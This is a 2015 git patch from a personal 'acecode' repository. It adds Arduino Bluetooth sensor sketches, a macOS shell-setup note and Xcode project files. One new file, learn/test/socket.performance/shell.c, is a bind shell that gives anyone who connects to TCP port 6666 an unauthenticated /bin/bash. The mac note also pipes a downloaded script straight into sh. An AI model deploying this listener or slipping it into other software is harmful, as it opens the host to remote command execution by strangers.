From 13879015e04ad98f81734b39276e5f8a05cba52e Mon Sep 17 00:00:00 2001 From: acevest Date: Thu, 28 May 2015 09:39:49 +0800 Subject: [PATCH] ... --- arduino/Sensors/Sensors.ino | 45 +++++++-- arduino/bluetoothinit/bluetoothinit.ino | 17 ++++ learn/doc/mac | 13 +++ learn/test/socket.performance/.c.txt.swp | Bin 0 -> 12288 bytes learn/test/socket.performance/shell.c | 90 ++++++++++++++++++ tools/AceBox/.DS_Store | Bin 6148 -> 6148 bytes .../xcshareddata/AceBox.xccheckout | 8 +- .../UserInterfaceState.xcuserstate | Bin 18767 -> 24186 bytes .../AceBox/AceBox/Base.lproj/Main.storyboard | 37 ++----- 9 files changed, 169 insertions(+), 41 deletions(-) create mode 100644 arduino/bluetoothinit/bluetoothinit.ino create mode 100644 learn/doc/mac create mode 100644 learn/test/socket.performance/.c.txt.swp create mode 100644 learn/test/socket.performance/shell.c diff --git a/arduino/Sensors/Sensors.ino b/arduino/Sensors/Sensors.ino index 10df6a8..7db9b3f 100644 --- a/arduino/Sensors/Sensors.ino +++ b/arduino/Sensors/Sensors.ino @@ -1,12 +1,25 @@ +#include +SoftwareSerial BTSerial(10, 11); // RX | TX + + int cnt = 0; const int ledPin = 12; void setup() { - Serial.begin(9600); + //Serial.begin(9600); + BTSerial.begin(9600); // HC-06 current bound rate (default 9600) pinMode(ledPin, OUTPUT); pinMode(0, INPUT); pinMode(1, INPUT); pinMode(2, INPUT); + pinMode(3, INPUT); +} + +char* itos(int n) +{ + static char buf[16]; + sprintf(buf, "%d", n); + return buf; } void loop() { @@ -18,21 +31,25 @@ void loop() { int hb = analogRead(2); // Human Body + int hv = analogRead(3); // humidity + if(hb < 100) { hb = 0; } digitalWrite(ledPin, hb > 0 ? HIGH : LOW); - - delay(100); - if(cnt % 10 == 0) + + delay(10); + + if(cnt % 100 == 0) { float temperature; - float resistance = (float)(1023-tv)*10000/tv; + float resistance = (float)(1023.0-tv)*10000.0/tv; temperature = 1.00000/(log(resistance/10000)/3975+1/298.15) - 273.15; + /* Serial.print("Light Sensor Value: "); Serial.println(lv); @@ -41,14 +58,28 @@ void loop() { Serial.print("Body: "); Serial.println(hb); - + */ + /* Serial.print(">"); Serial.print(lv); Serial.print(":"); Serial.print(temperature); Serial.print(":"); Serial.print(hb); - Serial.println(" "); + Serial.print(":"); + Serial.print(hv); + Serial.println(" ");*/ + + BTSerial.write(">"); + BTSerial.write(itos(lv)); + BTSerial.write(":"); + BTSerial.write(itos(temperature)); + BTSerial.write(":"); + BTSerial.write(itos(hb)); + BTSerial.write(":"); + BTSerial.write(itos(hv)); + BTSerial.write("\n"); + } } diff --git a/arduino/bluetoothinit/bluetoothinit.ino b/arduino/bluetoothinit/bluetoothinit.ino new file mode 100644 index 0000000..31d492d --- /dev/null +++ b/arduino/bluetoothinit/bluetoothinit.ino @@ -0,0 +1,17 @@ +#include +SoftwareSerial BTSerial(10, 11); // RX | TX +void setup() +{ + Serial.begin(9600); + Serial.println("Enter AT commands:"); + BTSerial.begin(9600); // HC-06 current bound rate (default 9600) +} +void loop() +{ + // Keep reading from HC-06 and send to Arduino Serial Monitor + if (BTSerial.available()) + Serial.write(BTSerial.read()); + // Keep reading from Arduino Serial Monitor and send to HC-06 + if (Serial.available()) + BTSerial.write(Serial.read()); +} diff --git a/learn/doc/mac b/learn/doc/mac new file mode 100644 index 0000000..78854b3 --- /dev/null +++ b/learn/doc/mac @@ -0,0 +1,13 @@ +iterm2 + +curl -L https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh | sh + +git clone git://github.com/supermarin/powerline-fonts.git +安装 Monaco fo Powerline.otf + +iterm2 设置字体为以上 + + + +git clone git://github.com/jeremyFreeAgent/oh-my-zsh-powerline-theme +cp oh-my-zsh-powerline-theme/powerline.zsh-them ~/.oh-my-zsh/theme/ diff --git a/learn/test/socket.performance/.c.txt.swp b/learn/test/socket.performance/.c.txt.swp new file mode 100644 index 0000000000000000000000000000000000000000..fb154d884af3e6b885ecbc0130bc31d86a93d04b GIT binary patch literal 12288 zcmeI&u};G<5P;z;J8A_lP+&xj3msq$VqvJ%rR?T%U6RI;;|eBtF(f8wYK6_cK7>$C7BOU1P+#qryyt4} zG3aJ(b!y#fh-KS&HRshd6y_@Pv3AMY +#include +#include +#include +#include +#include +#include + + +#define PORT 6666 + +void do_child(int fd) +{ + printf("new connection: %d\n", fd); + + close(STDIN_FILENO); + dup(fd); + + close(STDOUT_FILENO); + dup(fd); + + close(STDERR_FILENO); + dup(fd); + + + execvp("/bin/bash", 0); +} + +int main() +{ + int sock; + struct sockaddr_in serv; + + sock = socket(AF_INET, SOCK_STREAM, 0); + if(sock == -1) + { + perror("socket failed"); + exit(1); + } + + + int flags; + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &flags, sizeof(flags)); + + + serv.sin_family = AF_INET; + serv.sin_addr.s_addr = htonl(INADDR_ANY); + serv.sin_port = htons(PORT); + if(bind(sock, (struct sockaddr*)&serv, sizeof(serv)) == -1) + { + perror("bind failed"); + exit(1); + } + + + if(listen(sock, SOMAXCONN) == -1) + { + perror("listen failed"); + exit(1); + } + + + while(1) + { + int nfd; + struct sockaddr_in client; + socklen_t len = sizeof(client); + nfd = accept(sock, (struct sockaddr *)&client, &len); + + pid_t pid = fork(); + + if(pid ==0) + { + do_child(nfd); + exit(0); + } + } + + close(sock); + + return 0; +} diff --git a/tools/AceBox/.DS_Store b/tools/AceBox/.DS_Store index e25c09b5ad691ba00ec39f5c7ff641b0fb364da6..6ff7f1596d4448a3a1d49e1c25fafb8ee1c4e855 100644 GIT binary patch delta 82 zcmV-Y0ImOoFoZCW76Jf=k#QE0E+GK|kx)C6FcbunLjfU^FaZt%v+m0S*E1 ov*7_I29xjs?z0C74+sJPhqK`U_XCp;6fpq+lROL?vs@IY0}QAcApigX delta 116 zcmZoMXfc=|#>B`mu~2NHo+2a5!~pBb0*noeEE5l?Ox(c7v|!J~11bW!`7SOgr6tJ> z3>VWUZD3%4h^3&388JTC%*d$2wwaxSpM!~!V>2V;cjn3bB8D7{3=9kn3=9mLJw)~} F0{}~cA>aT2 diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout index 97be529..7a2852c 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout +++ b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout @@ -7,21 +7,21 @@ IDESourceControlProjectIdentifier A1372EDB-125D-4A73-9AE8-955FA3D42EAE IDESourceControlProjectName - project + AceBox IDESourceControlProjectOriginsDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectPath - tools/AceBox/AceBox.xcodeproj/project.xcworkspace + tools/AceBox/AceBox.xcodeproj IDESourceControlProjectRelativeInstallPathDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 ../../../.. IDESourceControlProjectURL - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectVersion 111 IDESourceControlProjectWCCIdentifier diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate index fe879128f2a9d8600de614d95e47d100b789efda..286c512b084157538a616842133886ef4f729910 100644 GIT binary patch literal 24186 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 delta 10962 zcma)gcUY6x`}bK-7=aK1BqRtSgaim7BqTsWaG*F)p(^55j1UzUinvG4skP3!9`|O5 ztJYOV-J{~(t+v(H4y{^SM{8TPR)5zM#Ok+wuj|bpA>8L)=X36L&a-{+{5&`(jEGu^ za^@=I5&Ud!GpnaF=m~m(VlWbn0;9ngFcyphZuU?o@$ zD!>}B32X)1z)r9W90o_gQSd1^4o-n{;3D`8d=74aAHa{`HuwcR0>6S6;3WhQLIi!G zACy2jRKRekgeuqo#zLJ3>R}vAgjQ&SnXn;j1RKL9usO_u1+XjZ27AFmSOkk%X zz>#ni91X|7v2Yw552wOua5`KF7s17_8m@sg@I$x-ZiR>85qK1S3Xj2BcpRRFXW&_Q 